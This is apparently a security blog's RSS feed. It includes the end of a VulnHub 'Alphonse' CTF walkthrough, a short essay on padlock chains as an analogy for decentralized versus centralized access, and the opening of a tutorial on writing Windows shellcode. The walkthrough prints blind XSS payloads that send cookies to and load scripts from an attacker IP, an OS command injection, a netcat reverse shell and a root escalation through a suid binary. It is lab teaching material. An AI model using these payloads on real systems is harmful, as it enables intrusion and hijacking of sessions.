&lt;span class=&quot;n&quot;&gt;doPostRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://alphonse/dnanalyzer/api/login.php&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hashMap&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paramCallback&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;doSignUp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;@NonNull&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paramString1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nd&quot;&gt;@NonNull&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paramString2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paramString3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nd&quot;&gt;@Nullable&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Callback&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paramCallback&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;setCallback&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;paramCallback&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nc&quot;&gt;HashMap&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hashMap&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;HashMap&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;hashMap&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;username&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paramString1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;hashMap&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;password&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paramString2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;hashMap&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;put&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;dna_string&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paramString3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;doPostRequest&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://alphonse/dnanalyzer/api/register.php&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hashMap&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;paramCallback&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;understanding-the-api&quot;&gt;Understanding the API&lt;/h3&gt;

&lt;p&gt;The register.php file do exist as proven by doing a request to it. It complains about some missing arguments. We also learn that the API use JSON for information exchange, which will be important when we will be constructing requests.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# curl http://alphonse/dnanalyzer/api/register.php
&amp;lt;br /&amp;gt;
&amp;lt;b&amp;gt;Notice&amp;lt;/b&amp;gt;:  Undefined index: username in &amp;lt;b&amp;gt;/var/www/html/dnanalyzer/api/register.php&amp;lt;/b&amp;gt; on line &amp;lt;b&amp;gt;22&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;b&amp;gt;Notice&amp;lt;/b&amp;gt;:  Undefined index: password in &amp;lt;b&amp;gt;/var/www/html/dnanalyzer/api/register.php&amp;lt;/b&amp;gt; on line &amp;lt;b&amp;gt;23&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;
&amp;lt;br /&amp;gt;
&amp;lt;b&amp;gt;Notice&amp;lt;/b&amp;gt;:  Undefined index: dna_string in &amp;lt;b&amp;gt;/var/www/html/dnanalyzer/api/register.php&amp;lt;/b&amp;gt; on line &amp;lt;b&amp;gt;24&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;
{&quot;message&quot;:&quot;User was successfully registered.&quot;}root@kali:~# 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s try an make a test user:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# curl -i -d &quot;username=test&amp;amp;password=test&amp;amp;dna_string=test&quot; http://alphonse/dnanalyzer/api/register.php
HTTP/1.1 200 OK
Date: Wed, 16 Sep 2020 20:42:03 GMT
Server: Apache/2.4.38 (Debian)
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 3600
Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With
Content-Length: 47
Content-Type: application/json; charset=UTF-8

{&quot;message&quot;:&quot;User was successfully registered.&quot;}
root@kali:~# 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And now logging in with it:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# curl -i -d &quot;username=test&amp;amp;password=test&quot; http://alphonse/dnanalyzer/api/login.php
HTTP/1.1 200 OK
Date: Wed, 16 Sep 2020 20:42:55 GMT
Server: Apache/2.4.38 (Debian)
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 3600
Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With
Content-Length: 333
Content-Type: application/json; charset=UTF-8

{&quot;message&quot;:&quot;Successful login.&quot;,&quot;jwt&quot;:&quot;eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJBbHBob25zZSIsImF1ZCI6IlRIRV9BVURJRU5DRSIsImlhdCI6MTYwMDI4ODk3NSwibmJmIjoxNjAwMjg4OTg1LCJleHAiOjE2MDAyODkwMzUsImRhdGEiOnsiaWQiOiI0MyIsInVzZXJuYW1lIjoidGVzdDMifX0.WQYhW4hdCDG4qL3cHUsaEjzYyH5rralCzcgiu52nF-w&quot;,&quot;username&quot;:&quot;test&quot;,&quot;expireAt&quot;:1600289035}
root@kali:~# 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Looks like it’s working, and we are given a JWT token. What can we do from here? Let’s go back to do some more enumeration of the newly discovered web directory.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# ffuf -w /usr/share/wordlists/dirb/big.txt -u http://alphonse/dnanalyzer/FUZZ
.htaccess               [Status: 403, Size: 307, Words: 22, Lines: 12]
.htpasswd               [Status: 403, Size: 307, Words: 22, Lines: 12]
api                     [Status: 301, Size: 321, Words: 20, Lines: 10]
portal                  [Status: 301, Size: 324, Words: 20, Lines: 10]
vendor                  [Status: 301, Size: 324, Words: 20, Lines: 10]
:: Progress: [20469/20469] :: Job [1/1] :: 2046 req/sec :: Duration: [0:00:10] :: Errors: 0 ::
root@kali:~# 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The portal folder looks interesting, which provides a html page with a login form. However, providing our newly created user didn’t get us inside. Maybe this is an admin portal?&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# curl http://alphonse/dnanalyzer/portal/
&amp;lt;form action=&quot;&quot; method=&quot;POST&quot;&amp;gt;&amp;lt;input name=&quot;user&quot; type=&quot;text&quot; placeholder=&quot;username&quot; /&amp;gt;&amp;lt;/br&amp;gt;&amp;lt;input name=&quot;pass&quot; type=&quot;password&quot; placeholder=&quot;password&quot; /&amp;gt;&amp;lt;/br&amp;gt;&amp;lt;input name=&quot;login&quot; type=&quot;submit&quot; value=&quot;Login&quot; /&amp;gt;&amp;lt;/form&amp;gt;
root@kali:~# 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;out-of-bound-xss&quot;&gt;Out-of-bound XSS&lt;/h3&gt;

&lt;p&gt;If this is an admin portal and an administrator is viewing user information, maybe we can trigger an XSS. Since we are very much blind here, we will send a simple out-of-bounds payload, loading an image from our attacking machine (192.168.0.34). Be sure to open a listener on the attacking machine first.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;nc -nlvp 80
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# curl -i -d &quot;username=test2&amp;amp;password=test2&amp;amp;dna_string=&amp;lt;img src='http://192.168.0.34/x'&amp;gt;&quot; http://192.168.0.36/dnanalyzer/api/register.php
HTTP/1.1 200 OK
Date: Wed, 16 Sep 2020 21:36:13 GMT
Server: Apache/2.4.38 (Debian)
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: POST
Access-Control-Max-Age: 3600
Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With
Content-Length: 47
Content-Type: application/json; charset=UTF-8

{&quot;message&quot;:&quot;User was successfully registered.&quot;}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After some minutes we can see a request made to our machine:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# nc -nlvp 80
GET /x HTTP/1.1
Host: 192.168.0.34
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/dnanalyzer/portal/index.php
Connection: keep-alive
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Also, here we learn about the portal page. Now, let’s try to check if there are any cookies by sending document.cookie back to our server.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# curl -i -d &quot;username=test4&amp;amp;password=test4&amp;amp;dna_string=&amp;lt;svg/onload=\&quot;var x=document.createElement('img');x.src='http://192.168.0.34/'%2Bdocument.cookie;document.body.appendChild(x);\&quot;&amp;gt;&quot; http://192.168.0.36/dnanalyzer/api/register.php
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We see no cookies in the request sent back to us. This could mean that there are no cookies, but that would be weird because there is a login, which indicates sessions. What is more probable is the use of httponly flag on the cookies, or that the site uses session tokens sent via headers.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# nc -nlvp 80
GET / HTTP/1.1
Host: 192.168.0.34
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/dnanalyzer/portal/index.php
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;proxy-via-xss&quot;&gt;Proxy via XSS&lt;/h3&gt;

&lt;p&gt;However, there is another trick we can use. We can use a tool called mygg.js to use XSS to browse through the admin’s browser to take a look at the site via their authenticated session. Follow the basic installation at https://github.com/dsolstad/mygg.js and edit the configuration in the top section of the file. Change the domain variable to your attacking IP address before starting it with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$ node mygg.js&lt;/code&gt;. After this we can change the XSS payload and use mygg’s hook instead.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# curl -i -d &quot;username=test4&amp;amp;password=test&amp;amp;dna_string=&amp;lt;svg/onload=\&quot;var x=document.createElement('script');x.src='http://192.168.0.34/hook.js';document.head.appendChild(x);\&quot;&amp;gt;&quot; http://alphonse/dnanalyzer/api/register.php
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;After some minutes we can see that we have a new hooked browser in the console of mygg. We also see which URL it was hooked from.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# node mygg.js
[+] Payload stager:
&amp;lt;svg/onload=&quot;var x=document.createElement('script');x.src='//192.168.0.34/hook.js';document.head.appendChild(x);&quot;&amp;gt;

[+] Proxy server listening on address 127.0.0.1 port 8081
[+] HTTP server listening on address 0.0.0.0 port 80
[+] HTTPS server listening on address 0.0.0.0 port 443
[+] Hooked new browser [192.168.0.36][Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0][http://127.0.0.1/dnanalyzer/portal/index.php]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, change the proxy settings in your attacking web browser to 127.0.0.1:8081 and browse to http://127.0.0.1/dnanalyzer/portal/index.php and you should be logged in!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/alphonse/mygg_portal.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Note that since the victim is browsing the web portal via the 127.0.0.1 interface, we also need to use localhost to comply with Same Origin Policy and to be able to read the answers from the victim’s browsing.&lt;/p&gt;

&lt;p&gt;Also, take note that we see no cookies defined, but we are riding on the victim’s cookie.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/alphonse/portal_nocookies.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;What we see in the admin panel is what appears to be a button to analyse the user provided DNA strings. Hit Ctrl+Shift+I to bring up the Web Developer toolbar to view the request to the API. Instead of using our attacking browser going forward, we can now switch to using curl via mygg.js to play around with the request.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# curl -i -x 127.0.0.1:8081 -d '{&quot;id&quot;:&quot;6&quot;,&quot;val&quot;:&quot;GATC&quot;}' http://127.0.0.1/dnanalyzer/portal/analyze_dna.php
HTTP/1.1 200 OK
cache-control: no-store, no-cache, must-revalidate
connection: Keep-Alive
content-type: text/html; charset=UTF-8
date: Fri, 18 Sep 2020 21:26:10 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
keep-alive: timeout=5, max=100
pragma: no-cache
server: Apache/2.4.38 (Debian)
Content-Length: 6

Superb
root@kali:~# 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;command-execution&quot;&gt;Command execution&lt;/h3&gt;

&lt;p&gt;Very soon we will find out that we can execute OS commands simply by ending the DNA string and appending a command. Probably because API sends the data directly to a binary for analysis.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# curl -i -x 127.0.0.1:8081 -d '{&quot;id&quot;:&quot;6&quot;,&quot;val&quot;:&quot;GATC; ls&quot;}' http://127.0.0.1/dnanalyzer/portal/analyze_dna.php
HTTP/1.1 200 OK
cache-control: no-store, no-cache, must-revalidate
connection: Keep-Alive
content-type: text/html; charset=UTF-8
date: Fri, 18 Sep 2020 21:43:39 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
keep-alive: timeout=5, max=100
pragma: no-cache
server: Apache/2.4.38 (Debian)
Content-Length: 9

index.php
root@kali:~# 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can easily get a reverse shell from here.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# curl -i -x 127.0.0.1:8081 -d '{&quot;id&quot;:&quot;6&quot;,&quot;val&quot;:&quot;GATC; nc 192.168.0.34 1337 -e /bin/bash&quot;}' http://127.0.0.1/dnanalyzer/portal/analyze_dna.php
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;root@kali:~# nc -nlvp 1337
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We snatch the local flag:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;cat /home/alphonse/flag.txt
dmx2urv87f2
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;priv-esc&quot;&gt;Priv Esc&lt;/h3&gt;

&lt;p&gt;After digging around on the machine, we find something interesting in the /home/alphonse/Documents folder. There is a binary with suid bit which asks for a password.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;ls -l
total 20
-rwsr-xr-x 1 root root 16976 Sep  3  2019 rootme
./rootme asdf
Wrong password
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s see if we can see the password in clear text in the binary. Usually I’d use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strings&lt;/code&gt; for this, but it doesn’t seem to be installed. However, we can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xxd ./rootme&lt;/code&gt; instead, where we find:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;00002000: 0100 0200 2e2f 726f 6f74 6d65 203c 7061  ...../rootme &amp;lt;pa
00002010: 7373 776f 7264 3e00 614e 6867 4b69 3478  ssword&amp;gt;.aNhgKi4x
00002020: 754f 0048 6572 6520 796f 7520 676f 3a00  uO.Here you go:.
00002030: 6261 7368 002f 6269 6e2f 7368 0057 726f  bash./bin/sh.Wro
00002040: 6e67 2070 6173 7377 6f72 6400 011b 033b  ng password....;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;./rootme aNhgKi4xuO
&lt;span class=&quot;nb&quot;&gt;id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /root/flag.txt
91bmZfpe2L
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Bingo!&lt;/p&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;p&gt;Alphonse is a workstation used for local development and unfortunately he was sharing an Android application through an open FTP server. By reverse engineering this, we learned about an API that was vulnerable to blind XSS, triggered by a visitor on an admin panel. Since the session cookies were protected, we used a tool to ride the authenticated user’s session and proxying our attacking web browser through the victim’s web browser. From here we learned about another API that communicated with a binary on the OS, which was vulnerable to OS command injection. The final step was to abuse another binary to achieve root privileges.&lt;/p&gt;
</description>
				<pubDate>Wed, 30 Sep 2020 00:00:00 +0000</pubDate>
				<link>/vm/2020/09/30/Walkthrough-VulnHub-Alphonse.html</link>
				<guid isPermaLink="true">/vm/2020/09/30/Walkthrough-VulnHub-Alphonse.html</guid>
			</item>
		
			<item>
				<title>The Rorschach Test of Information Security</title>
				<description>&lt;p&gt;I follow a lot of information security professionals on LinkedIn, and some weeks ago I saw a post with an image in my feed. I will give you a moment take a look yourself before reading on.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/lock.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The image followed a text saying that unlocking one lock will unlock the whole thing, and then drawing a parallel to cyber security, where an attacker would only need to compromise one system to gain access to an organization. This is indeed correct for the picture, but let’s try to look at this with a non-security tunnel vision mindset.&lt;/p&gt;

&lt;p&gt;First off, let’s try to understand what these locks are protecting. It seems to be some sort of outdoor gate to reach a restricted area. The locks are of different kind and are numbered, suggesting there is one unique key for each lock. By example we can imagine that it’s a gate to access a private zone with multiple holiday houses, and the gate is to access it by car, with each household having their own unique key.&lt;/p&gt;

&lt;h2 id=&quot;decentralized-system&quot;&gt;Decentralized system&lt;/h2&gt;
&lt;p&gt;We can simplify the above image by replacing it with the following:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/chain1.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The same principle applies - if you break one lock, you break the whole chain, thus opening the gate. If a new person would need access to this restricted area, that person would need to get in touch with one of the key holders to open their lock, and the new person would add their lock to the chain. This new person could be an owner of a new house built in the restricted zone, or even the fire department. If anyone would lose their key, the person would buy a new lock and get in touch with anyone of the key holders to unlock the chain and to add the new lock. All this at a low cost and without a central key administration.&lt;/p&gt;

&lt;p&gt;Another key point here is that if anyone forgets to lock the gate, it becomes evidently who was responsible.&lt;/p&gt;

&lt;h2 id=&quot;centralized-system&quot;&gt;Centralized system&lt;/h2&gt;
&lt;p&gt;Now we can look at the opposite principle, with one lock and multiple cloned keys, one for each household, like the image below illustrates.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/chain2.png&quot; alt=&quot;_config.yml&quot; /&gt;&lt;/p&gt;

&lt;p&gt;If a new house owner would need access, they would need to apply to get a new cloned key. This could take some time and they might need to go far away to get the new key. If someone loses their key, the administration would need to change the lock, clone new keys and locate households to distribute the new keys. Very cost and time inefficient.&lt;/p&gt;

&lt;p&gt;You can argue that in this example the central administration could already have cloned keys ready for new households, and if someone loses their key, the administration wouldn’t really care that much and just give them a new key. However, this might not be the case in other examples, where the lock is protecting something of more value.&lt;/p&gt;

&lt;p&gt;The bottom line is: Avoid tunnel vision - Try to think from multiple perspectives, be more agile, and think about that it could be a reason for why things are like they are.&lt;/p&gt;
</description>
				<pubDate>Sun, 10 May 2020 00:00:00 +0000</pubDate>
				<link>/information-security/2020/05/10/The-Rorchack-test-of-Information-Secuirity.html</link>
				<guid isPermaLink="true">/information-security/2020/05/10/The-Rorchack-test-of-Information-Secuirity.html</guid>
			</item>
		
			<item>
				<title>Tutorial - Writing Hardcoded Windows Shellcodes (32bit)</title>
				<description>&lt;p&gt;This article is a walkthrough on how to write shellcodes for Windows, both reverse and bind. I was doing the &lt;a href=&quot;https://www.pentesteracademy.com/course?id=3&quot;&gt;SLAE32&lt;/a&gt; course from PentesterAcademy, which targets Linux, but I wanted to create shellcodes for Windows too. I found very little information about this online, but after much debugging, trying and failing I successfully made it. The shellcodes have been on my Github for a while, but I wanted to explain them more in detail, thus this article was created. Note that I assume the reader already have basic x86 Assembly and socket knowledge before reading further.&lt;/p&gt;

&lt;p&gt;You will notice that the shellcodes presented in this article are respectively 92 (reverse) and 111 (bind) bytes long. You might be wondering why Windows shellcodes from msfvenom is about 300-400 bytes in comparison. This is because the payloads from msfvenom will work on any Windows version. It has extra code that will automatically find addresses for DLLs and system calls, which is different on every Windows release. The shellcodes in this article has hardcoded addresses, which will only work for one Windows version, which in this guide will be for Windows XP SP3 (eng). Why not just stick to shellcodes from msfvenom? Most often you will have enough space for your payload and you can use a shellcode from msfvenom, but in some cases you won’t have enough space, so unless you find a small hardcoded shellcode for your target system, you need to create your own. If you are interesting in learning how to write shellcodes that automatically finds the necessary addresses, like those from msfvenom, you can read this &lt;a href=&quot;https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html&quot;&gt;amazing article&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;By the way, I’m no expert in Assembly and shellcoding - If you find something wrong, please let me know!&lt;/p&gt;

&lt;h1 id=&quot;prework-finding-system-calls-dlls-and-addresses&quot;&gt;Prework: Finding system calls, DLLs and addresses&lt;/h1&gt;

&lt;p&gt;Before continuing, you should have a copy of the target Windows version ready that we will be using for debugging.&lt;/p&gt;

&lt;p&gt;The steps in this guide is basically loading DLLs containing the system calls we require, and then calling each system call one by one. To figure out the needed DLLs, we first need to know which system calls we will be using. Since we are going to create sockets, we already know that we will be using system calls, such as bind() and listen(). A quick Google search on “bind socket microsoft” gives us the following documentation: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-bind&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-bind&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If we scroll down, we learn that bind() is located in ws2_32.dll. Now we can use the tool &lt;a href=&quot;https://www.fuzzysecurity.com/tutorials/expDev/tools/arwin.rar&quot;&gt;Arwin.exe&lt;/a&gt; on the target system to figure out the address of the various system calls.&lt;/p&gt;

